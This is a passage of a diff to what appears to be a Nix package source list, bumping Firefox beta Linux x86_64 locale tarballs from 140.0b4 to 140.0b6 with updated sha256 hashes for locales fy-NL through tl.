       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "13a13fa59708aae286e6f99cbb301334ed082f94995454ff8f333c88c214f67d";
+      sha256 = "ed00ebe292e5fcce02dc3e7a296dc8fe56b06e285f5884a89be8d3aefb0a931f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ga-IE/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ga-IE/firefox-140.0b6.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "abf292f9c8a74e8f342c1e573441c5f2ed93a646e308131c098634f0e8403fdf";
+      sha256 = "e0e13635b24ef4a84668d192fea83f69f066592f2baa010d2634c55b699ac257";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/gd/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/gd/firefox-140.0b6.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "7ae719127ba74d411a09704cc68801ba147aa46a599f75da4e1a1d99c0bbb4de";
+      sha256 = "c1dabaf4658a4a73e0de9a4e8f804f181bf304fc7c7d3542073fe8c28be39750";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/gl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/gl/firefox-140.0b6.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "16391a560e0766f246ec605d5761f5445a9186118d4b9b154c5aa76d2694dde7";
+      sha256 = "a4ea22f0a82a2f920e5e3398995926f93e1bb0a1cefc704cef1412bd7d7bf5fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/gn/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/gn/firefox-140.0b6.tar.xz";
       locale = "gn";
       arch = "linux-x86_64";
-      sha256 = "88acc62bd18a767e3ace84d758359fd2e3483cced4b47376bb4b62abf0607fcc";
+      sha256 = "0998b1331fe1e87a3ca03c64d720be715d35e6bb90ff0fb8cf1ac4077ec20265";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/gu-IN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/gu-IN/firefox-140.0b6.tar.xz";
       locale = "gu-IN";
       arch = "linux-x86_64";
-      sha256 = "00e7bbaa43437143c28ee9c0c661ed7c30a4ad887a5de6a99b53d036f8ba28db";
+      sha256 = "16f62c0e2bf9e9ad8fd807da12ffb34b1a49f1a22c93d025dc5d287c0aa186f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/he/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/he/firefox-140.0b6.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "88442ae052ba3e93b65d7d878c5628e852f25f192b987a0dec40bb7775fff789";
+      sha256 = "5017fb8bae1791da686b7f8d09081334fc26c91b50790f642e4567e367b054e4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/hi-IN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/hi-IN/firefox-140.0b6.tar.xz";
       locale = "hi-IN";
       arch = "linux-x86_64";
-      sha256 = "c64522ad816a1b8f298b141bc545895f17aa495b3c227d377ae4bc89cd01ace8";
+      sha256 = "41e966607bd8974e25768e49e8c2ea389c19d183a5c48155be2abe489b7daea9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/hr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/hr/firefox-140.0b6.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "dda7aebbb74867704f5b4cbd2fba4a5f5d2974543c48faa4e634f746c08fd653";
+      sha256 = "2cd3ae2af8f30aaedd60ca8ad4fd30d37d613c80687ee0febe8dccb0aaa954c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/hsb/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/hsb/firefox-140.0b6.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "3ccf8a34bbad1bb4efc5fcf12aa203d7098c22654910e068e8af92c9a21056b8";
+      sha256 = "a921b7fd7fb36227594f60a7891cd052807d4f78f7facfc888490c10bbb5019b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/hu/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/hu/firefox-140.0b6.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "4b4d9c7965fc90649ea66f91d04f885c180c6127ea9ab8685b2229f148497a20";
+      sha256 = "d7443861c49462e780638801de1e43217677110eb9c5198fcfc333b144d91ca2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/hy-AM/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/hy-AM/firefox-140.0b6.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "e68ad63527eab5b51274d5b23a4e1487b01e46da6f58f933f1afcd3347eb32e8";
+      sha256 = "459af37c50eda7ce2394a0f410a0daeafdb8114df77b4933bc6fbd9057b3dc30";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ia/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ia/firefox-140.0b6.tar.xz";
       locale = "ia";
       arch = "linux-x86_64";
-      sha256 = "5546814c18755b68c3eff2903599e1a8c9612ec8d13b1989ebe8db66c2331adc";
+      sha256 = "91f680cdae1bf75398b86e6f16c20f05917efcddc5482ecef0b60aad18a215ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/id/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/id/firefox-140.0b6.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "98eb4c8c3a34600d34fbbf41abe853390193396044e02f8faa2b841576730eb1";
+      sha256 = "20e45c279a9c94d3870248c511b0d3f9e002ff93f7cb4f61ee3606a76012bc81";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/is/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/is/firefox-140.0b6.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "4ce9326633f6965b19cb116bb084af2376b79723e3aa2125f6108127ce797c8e";
+      sha256 = "fa73b2738537764133d71d2beb15e0a0b5f1b34df335b84dcc76e23f5903c47f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/it/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/it/firefox-140.0b6.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "1633f576551a196695492299d9cc6c654b7a6fc436ece013c0052d0d59b18fd9";
+      sha256 = "c67b03b3a21c21cc196e87a4fe44e96bc1fa7bcc138b8e9f5dd109f30a2ea27e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ja/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ja/firefox-140.0b6.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "4fa482c73b534fdf8da15d9f242c319742373aba34cd2033d890c2e10ff1a952";
+      sha256 = "f748f10054ca044435d03337fb16b922a4513929186dbd6fa3954e397b4f7b9d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ka/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ka/firefox-140.0b6.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "8d35d90b1a228b3a93dae95913a3a246824f9fef9ddddf226d1d45dbb5f52cf3";
+      sha256 = "b764067cc3dd81cd029ee418dcb2876afcd04c5d1288e1f8e8f0fb0bc11652c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/kab/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/kab/firefox-140.0b6.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "39e2c59bcc692622d37813b2c6dbdb53322217759bb36adb3c40e564fb633816";
+      sha256 = "545392d704bf3efb780b634366abc503dbbb773baa0cb4b720d8ea26c7d8d5f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/kk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/kk/firefox-140.0b6.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "5bfbfe860b5594b35583dc219524119d449ce843058c2416966923db02a37b4e";
+      sha256 = "cbf09845b5ea0c2d3964bd391f699cf6c0138a65f650b538330e101aa0493a88";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/km/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/km/firefox-140.0b6.tar.xz";
       locale = "km";
       arch = "linux-x86_64";
-      sha256 = "dc60d8f33da1bf2131700143f92c45c407db0c72198a9eeb30be6c50ed219fd0";
+      sha256 = "03c4299ea106f19383d8e3ee96657c4953ba7ba137c369c6f37382223fc675ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/kn/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/kn/firefox-140.0b6.tar.xz";
       locale = "kn";
       arch = "linux-x86_64";
-      sha256 = "f9de9ea646106410dac113ed8a43f7fe5d8b2ab78f8cbad800c7e06f39dea83f";
+      sha256 = "b4f0d0cd7e89322200db11b1ad1205847b14ce53357788e4a8150b99838e3ad3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ko/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ko/firefox-140.0b6.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "046fe9882ebbe7a16b9c4e3a46881d3d58e524903e69025b41d4cf5ddfc39cb7";
+      sha256 = "2d01bf0017f16fb0c1c0e582e8a5b67b8e2ef20ef51e953f5690b7f12ca2ebf9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/lij/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/lij/firefox-140.0b6.tar.xz";
       locale = "lij";
       arch = "linux-x86_64";
-      sha256 = "c3f54a55d3bca2b3d16bb808161b31759a045624fe3828fa4dc00d4395b6e934";
+      sha256 = "636259f735696e95ce397ba0d5b7f7764702491406229dfd7425ead6e7340623";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/lt/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/lt/firefox-140.0b6.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "cc6c6f218dd93c702840afbf6b4947fe25f9a3ce6f1f0c3d6c53612f5ffdea6f";
+      sha256 = "42e902162cdd874b5586f2ce2c8a9a9302dbb231928e7425259bfad3ce964db4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/lv/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/lv/firefox-140.0b6.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "6413e4d6878ed2cf612f8562f4d7a87b572b44a861b98def88932f5261d4532a";
+      sha256 = "0604cfc1f31b65d17f019eb42296e69730674cb04862c14929cfc0f9e6508071";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/mk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/mk/firefox-140.0b6.tar.xz";
       locale = "mk";
       arch = "linux-x86_64";
-      sha256 = "f193552cc2c671273e2ceff6d63b721d994905232b1ebeb2272406d11f7c2631";
+      sha256 = "38d564c93c332d7c2da567b8bececf38daad80282427ad8c5056d34223d500a6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/mr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/mr/firefox-140.0b6.tar.xz";
       locale = "mr";
       arch = "linux-x86_64";
-      sha256 = "de2083da32a191962280df959e5f2bdf5a9cd1bfd5e619236052225b2c4432b9";
+      sha256 = "cb6bcb2c9d8f8f4fd8ea9b9084811d4eef589ce11c0fbe08a65306dabc8f0c04";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ms/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ms/firefox-140.0b6.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "060c67fc339f7ca5685524c6164b1b23783c5959bc1ee88947ed5d646a4469bd";
+      sha256 = "e4d9a5131aa92cedde0b2708c57dc5c07ea39fc1caf5885869bb7959c51a0bdc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/my/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/my/firefox-140.0b6.tar.xz";
       locale = "my";
       arch = "linux-x86_64";
-      sha256 = "cd1b449874fcef63e5e7366c26c88096121212ea92cc1a20b8d0cefe3d1ab6f3";
+      sha256 = "fe0317e8a76f98962e28f4e958b6af2cd159ade85c30ff742ebd6d2bf08cbb2c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/nb-NO/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/nb-NO/firefox-140.0b6.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "afe1046c6fe6d1ba75b57520d2162e23e190d7eaebd41bf4f8b3b9cb435e34ad";
+      sha256 = "86bd123290299872a5f2c7a5b595cf40b268b942be1d885307d0844d7bf6be4a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ne-NP/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ne-NP/firefox-140.0b6.tar.xz";
       locale = "ne-NP";
       arch = "linux-x86_64";
-      sha256 = "5b5b6cd0004f7ace163588b162dd2ff7ddb08064e5bf2e4ee6c73a5d855c3944";
+      sha256 = "7518b27513141150a3594f11e380ca53c94f16aebdab70b47fb3e9b7bcdd5980";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/nl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/nl/firefox-140.0b6.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "60a452998b7797a259080a39ce7900aa45a3ec92e09933d3eebd654cd2d9cdf5";
+      sha256 = "e90009b1e48d1569a7f58caa280301c7ec08ec96d948a35b1c9d779914bbe528";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/nn-NO/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/nn-NO/firefox-140.0b6.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "b1cc96a175d3377eaf6ad67f3737d08b5fdf45e54312d0147448167753e0b413";
+      sha256 = "fea69d9a206a4551d868ee8785bb393c881248b8c3921ee72d9300af4bbb976c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/oc/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/oc/firefox-140.0b6.tar.xz";
       locale = "oc";
       arch = "linux-x86_64";
-      sha256 = "44839b3805ab01d637a5adc270e9e86086f96b7b947162039f6ce356c7e98d99";
+      sha256 = "1fce99f304498dc4f0b57e5b72c45f7794200ce602ea1ef164c30141242cb1d2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/pa-IN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/pa-IN/firefox-140.0b6.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "3ee9443ed3a85a3b4c2a22db5ee258bfc21ae8785675ed5b11ee8d5563cd16f7";
+      sha256 = "d297d30be098565a3465e9e754ef4574a86f02745582a829842809c31e7ad96f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/pl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/pl/firefox-140.0b6.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "30270dbb80419f92173ab90c2b99269dcdc5052a94efd1bed12b223d68ec0fc8";
+      sha256 = "a56a7810bbcda13feb96dc387a517fe2b17f753e90e51e25649dc1eafe395b8c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/pt-BR/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/pt-BR/firefox-140.0b6.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "e22b7b27b89cecfd7866648ba16db249f8b53856bc9e49e7d722ab006c61a052";
+      sha256 = "6c690de44032785f5b0744507cec3f8de18864b4e4b87a95d904d1eb91c2eebe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/pt-PT/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/pt-PT/firefox-140.0b6.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "9592fbe56057246e6519641e4ce97d727e894cd70fab2aa91aa63196e13535da";
+      sha256 = "225790fcb18195777044676919338af8382d3d3e941035abfc7339d201cf8c9b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/rm/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/rm/firefox-140.0b6.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "15e0f382c19db6af473d49dbdfb48c2b8891255cf7b85694f1c0ef12620c4bef";
+      sha256 = "6a7ef06460dfd17cb3404ac37f26efad541ddbe8561a0bfbde46309595e9eff5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ro/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ro/firefox-140.0b6.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "480b8d1c13c8a647feb799366c91c9223a3b3afc32e6e758d7edb57d016fb4cc";
+      sha256 = "e117d4d651309ef6f8140156c266ac8da40fa4aa8d94eb43b9239d2f959cf063";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ru/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ru/firefox-140.0b6.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "983807e6ee0951ff1cb56518a5d4c764a204616a6826381e43dba49f8c398836";
+      sha256 = "8db80259e879eef2dff706952ca9d7ca5d19430ebcf096c554e8c6476e706364";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/sat/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/sat/firefox-140.0b6.tar.xz";
       locale = "sat";
       arch = "linux-x86_64";
-      sha256 = "3be3f00cece3378b9afb0364339527d6f2cad06c73cbf095a4c6fe34a0f7171f";
+      sha256 = "c188276663efa50e65b425b2782fda9a48abefc927c14a5028330a1f303ecd53";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/sc/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/sc/firefox-140.0b6.tar.xz";
       locale = "sc";
       arch = "linux-x86_64";
-      sha256 = "780c0e439a16d97b5a0a4e8dbf21695b18316083496655d89ca7c15762d30ca1";
+      sha256 = "86f11d795e454349c52e1e11ba27d4450057bf4ed34470ba5e247d98dbc81d48";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/sco/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/sco/firefox-140.0b6.tar.xz";
       locale = "sco";
       arch = "linux-x86_64";
-      sha256 = "394998ba5da43c7ffdb36ba640f3657e286faeb09b4895171c689a70aa0357ed";
+      sha256 = "18bc467710002822c7ea3d64dacde32ac5e63f3eff6e783a5940340094112721";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/si/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/si/firefox-140.0b6.tar.xz";
       locale = "si";
       arch = "linux-x86_64";
-      sha256 = "c6f7172c8ae66768a8c1c8ec1237d50c1409952abd90f5c7baa6b0c2db35c94b";
+      sha256 = "0183d3f674a52f77eabe70bd7e4cf6ddefafbe63e4c4a7c531fe278df44b4879";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/sk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/sk/firefox-140.0b6.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "51e4555381d62f4eabcdb45817fd91cd025eca458a175c8c9a9927f3c8eea624";
+      sha256 = "87b651fc158b90391e26c5f203ef83de9f0e2e7583da32b055517f54c33fff37";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/skr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/skr/firefox-140.0b6.tar.xz";
       locale = "skr";
       arch = "linux-x86_64";
-      sha256 = "9ef1756da491f25f7357deb640604f470a3a159211f0ea1ac4c31a657a26b1e3";
+      sha256 = "d8add697f79c5b3885db3ad11e997145bf4961e6e7a3050fff60893c9d8ed7d9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/sl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/sl/firefox-140.0b6.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "62d5913ad935a30f8b6536231a747b54b69f81681f81468a5ddbd5daabe10431";
+      sha256 = "a86132fb0b515b6305a028c1a5db05c19aea27ffe32bcf45e86ad787ba414091";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/son/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/son/firefox-140.0b6.tar.xz";
       locale = "son";
       arch = "linux-x86_64";
-      sha256 = "df3ac2759b995a974762a94018ae6c7c142209e7fd12be96186eaf56b5447d50";
+      sha256 = "44c8eb2cebf499787b53a6fb6b5935dc07edb298fac94c91d111ceaa15cee342";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/sq/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/sq/firefox-140.0b6.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "a107def094ebf1d6bd77b05c153747fc058f3fcced730aa5513a8a33a2f34ed0";
+      sha256 = "1b22f775d19a412d6ba6aed33637076c1d232fcfe1ae72a7bc4f69e943aacd47";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/sr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/sr/firefox-140.0b6.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "1ec6bb2204b6e25e1cef465abb74ea115914d1ec179006f4ff9ab8d5cfa95b05";
+      sha256 = "8369302b248ab2cf0b13f98ca0280b9604f16f524ace8b9e5bf897a273589ae6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/sv-SE/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/sv-SE/firefox-140.0b6.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "47ef089aae34922e892e5e24fc31f0a9ed0dadad427834d46e96dbd189236a1e";
+      sha256 = "b768fc130f0098ab7139e2256451f696291c6511a92568b9b8f0e0fac8e4f55c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/szl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/szl/firefox-140.0b6.tar.xz";
       locale = "szl";
       arch = "linux-x86_64";
-      sha256 = "c3ea0cb6a2f1430d1f96ae5a3bee2083b265936ec9a5625ffcd31c91c542ad01";
+      sha256 = "e65a61516d5d50bb042c802800f5ccb78e89f9407a2c20abedb4af6fd7bf44f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ta/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ta/firefox-140.0b6.tar.xz";
       locale = "ta";
       arch = "linux-x86_64";
-      sha256 = "0a8274d9d638706a05dbb5573191fb5c604da633a39a3065dc46e75b50bfe595";
+      sha256 = "49c920bf3981ae5b006810b09262436b0b727f54b47f92768c9beaba4ce02dec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/te/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/te/firefox-140.0b6.tar.xz";
       locale = "te";
       arch = "linux-x86_64";
-      sha256 = "9de2c77e2cfc1cb33de926f2f0af656369071ce896086c39b0f6e823802c5651";
+      sha256 = "c35da2873dcdf14a1c82eabdf5993492bc0fd1b6b16215dcfcb27259b6b2bacd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/tg/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/tg/firefox-140.0b6.tar.xz";
       locale = "tg";
       arch = "linux-x86_64";
-      sha256 = "ccdf9edaa6d7642a066800f5edee083c92303473ea9eeafd04e17505367ce082";
+      sha256 = "34cf2a7bac30ec63f04619d1af7f834e0a985336017d39f951f2f8e3b9b70350";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/th/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/th/firefox-140.0b6.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "ca2deb4e79e3ed447e0b62c678dfba1bc3d47749d983e478f98eef8f075eeea8";
+      sha256 = "0381cb55121754b1ee6d8e1b2b9d02d3f36249f3c1682b9f43edee72ad8204ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/tl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/tl/firefox-140.0b6.tar.xz";
       locale = "tl";
       arch = "linux-x86_64";
-      sha256 = "24b5c9689dc2958f4607932614f9d3ac97286248d932bbe43574c71425126eee";
+      sha256 = "0919075e4bee9347c39c798c75a99c2ce649c13616cc24b7c049a087a8a1c34d";
     }
     {
